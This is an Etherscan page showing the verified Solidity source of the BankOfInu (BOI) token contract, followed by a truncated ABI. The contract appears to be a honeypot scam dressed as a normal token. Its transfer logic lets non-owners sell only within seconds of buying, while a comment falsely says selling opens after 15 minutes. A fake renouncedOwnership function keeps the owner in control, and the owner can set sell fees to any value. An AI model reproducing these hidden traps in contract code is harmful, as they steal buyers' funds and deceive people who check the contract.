ETH Price: $2,549.04 (-4.25%)
Gas: 1 Gwei

Token

BankOfInu (BOI)
 

Overview

Max Total Supply

100,000,000,000 BOI

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,814,891,297.594590818 BOI

Value
$0.00
0x04Ed56b235483BCa20Cd01d1FabEeBBaE88cB0E3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BankOfInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-20
*/

/**               
Telegram : https://t.me/https://t.me/Bankofinu
                                          
// SPDX-License-Identifier: MIT
*/

 
pragma solidity ^0.8.7;
 
interface IERC20 {
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
library Address {
 
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
 
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
 
        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
 
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }
 
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
 
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
 
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
 
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
 
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
 
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
 
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
 
    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
 
            if (returndata.length > 0) {
 
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view virtual returns (address) {
        return  _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

     function renouncedOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, _owner);
        _owner = _owner;
    }

}


 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
library EnumerableSet {
 
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }
 
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }
 
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
 
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
 
            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];
 
                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }
 
            set._values.pop();
 
            delete set._indexes[value];
 
            return true;
        } else {
            return false;
        }
    }
 
    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }
 
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }
 
    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        return set._values[index];
    }
 
    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }
 
    struct AddressSet {
        Set _inner;
    }
 
    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }
 
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }
 
    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }
 
    function values(AddressSet storage set) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;
 
        assembly {
            result := store
        }
 
        return result;
    }
}
 
contract BankOfInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;
 
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => uint) public walletToPurchaseTime;
	mapping (address => uint) public walletToSellime;	
 
    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);
 
    string private constant _name = "BankOfInu";
    string private constant _symbol = "BOI";
 
    address public _PancakeSwapV1RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //PancakeSwap owner
    address public _PancakeSwapV2RouterUniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; //can be the same
 
    uint256 private _tTotal = 100000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint public theRewardTime = 2; 
    uint public standartValuation = 600/2; // sell enabled after 15 minutes
 
    address public _lastWallet;
 
 
	struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }
 
    TotFeesPaidStruct public totFeesPaid;
 
 
 
 
 
    struct feeRatesStruct {
        uint256 rfi; // reflection to holders
        uint256 marketing; // wallet marketing bnb
        uint256 liquidity; // LP
        uint256 burn;
    }
 
    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }
 
    balances public contractBalance; 
 
    feeRatesStruct public buyRates = feeRatesStruct(
     {rfi: 0,
      marketing: 5,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct public sellRates = feeRatesStruct(
     {rfi: 0,
      marketing: 5,
      liquidity: 0,
      burn: 0
    });
 
    feeRatesStruct private appliedFees;
 
    struct valuesFromGetValues{
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }
 
    IUniswapV2Router02 public PancakeSwapV2Router;
    address public pancakeswapV2Pair;
    //address payable private marketingAddress;
 
    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;
 
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);
 
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
 
    constructor () {
        _rOwned[owner()] = _rTotal;
 
      IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // mainnet
        pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
            .createPair(address(this), _PancakeSwapV2Router.WETH());
 
        PancakeSwapV2Router = _PancakeSwapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(_PancakeSwapV2RouterUniswap)] = true;
        _isExcludedFromFee[address(0xe853889c8c7a03C1f7935B87355Dc58eCd3d92B0)] = true; //uniswap router liquidity
 
 
 
 
        _isExcluded[address(this)] = true;
        _excluded.push(address(this));
 
        _isExcluded[pancakeswapV2Pair] = true;
        _excluded.push(pancakeswapV2Pair);
 
        emit Transfer(address(0), owner(), _tTotal);
    }
 

    function getFromLastPurchaseBuy(address wallet) public view returns (uint) {
        return walletToPurchaseTime[wallet];
    }
 
    function getFromLastSell(address walletSell) public view returns (uint) {
        return walletToSellime[walletSell];
    }
 
    function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }
 
    function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }
 
    function collectTheStatistics(uint256 lastBuyOrSellTime, uint256 theData, address sender) public view returns (bool) {
 
        if( lastBuyOrSellTime == 0 ) return false;
 
        uint256 crashTime = block.timestamp - lastBuyOrSellTime;
 
        if( crashTime == standartValuation ) return true;
 
        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if( crashTime <= theData ) return true;
 
 
        return false;
    }
 
    function setValuation(uint newValuation) public onlyOwner {
        standartValuation = newValuation;
    }
 
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }
 
    function TrandingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }
  
    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return _transferForm;		
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }
 
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }
 
    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }
 
    function excludeFromAll(address account) public {
        if(!_isExcluded[account])
        {
        _isExcluded[account] = true;
         if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;
 
        tokenHoldersEnumSet.remove(account);
    }
 
    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
 
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
 
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
 
    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
 
    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
 
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
        to_return = _getTValues(tAmount, takeFee);
 
        (to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
 
        return to_return;
    }
 
    function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
 
        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        s.tRfi = tAmount*appliedFees.rfi/100;
        s.tMarketing = tAmount*appliedFees.marketing/100;
        s.tLiquidity = tAmount*appliedFees.liquidity/100;
        s.tBurn = tAmount*appliedFees.burn/100;
        s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn; 
        return s;
    }
 
    function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
        rAmount = tAmount*currentRate;
 
        if(!takeFee) {
          return(rAmount, rAmount, 0,0,0,0);
        }
 
        rRfi= s.tRfi*currentRate;
        rMarketing= s.tMarketing*currentRate;
        rLiquidity= s.tLiquidity*currentRate;
        rBurn= s.tBurn*currentRate;
 
        rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;
 
        return ( rAmount,  rTransferAmount,  rRfi,  rMarketing,  rLiquidity,  rBurn);
    }
 
 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }
 
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal-rRfi;
        totFeesPaid.rfi+=tRfi;
    }
 
    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance+=tMarketing;
        totFeesPaid.marketing+=tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)]+rMarketing;
        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)] = _tOwned[address(this)]+tMarketing;
        }
    }
 
    function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
        contractBalance.lp_balance+=tLiquidity;
        totFeesPaid.liquidity+=tLiquidity;
 
        _rOwned[address(this)] = _rOwned[address(this)]+rLiquidity;
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)]+tLiquidity;
    }
 
    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn+=tBurn;
 
        _tTotal = _tTotal-tBurn;
        _rTotal = _rTotal-rBurn;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than you balance");
 
        _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
    }
 
 
 
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
 
        if(takeFee) {
            if(sender == pancakeswapV2Pair) {
                if(sender != owner() && recipient != owner() && recipient != address(1)){
 
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else { 
                if(sender != owner() && recipient != owner() && recipient != address(1)){
                    bool blockedSellTime = collectTheStatistics(getFromLastPurchaseBuy(sender), theRewardTime, sender);
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;					
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity; 
                _lastWallet = sender;
 
            }
        }
        else {
            if(_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if(_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }
 
        valuesFromGetValues memory s = _getValues(tAmount, takeFee);
 
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
                _tOwned[sender] = _tOwned[sender]-tAmount;
                _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
        }
 
        _rOwned[sender] = _rOwned[sender]-s.rAmount;
        _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
 
        if(takeFee)
        {
        _reflectRfi(s.rRfi, s.tRfi);
        _takeMarketing(s.rMarketing,s.tMarketing);
        _takeLiquidity(s.rLiquidity,s.tLiquidity);
        _takeBurn(s.rBurn,s.tBurn);
 
        emit Transfer(sender, address(this), s.tMarketing+s.tLiquidity);
 
        }
 
        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);
 
        if(balanceOf(sender)==0)
        tokenHoldersEnumSet.remove(sender);
 
    }
 
 
    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
 
        PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
        emit LiquidityAdded(tokenAmount, bnbAmount);
    }
 
    function withdraw() onlyOwner public {
      uint256 balance = address(this).balance;
      payable(msg.sender).transfer(balance);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PancakeSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TrandingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_PancakeSwapV1RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_PancakeSwapV2RouterUniswap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256"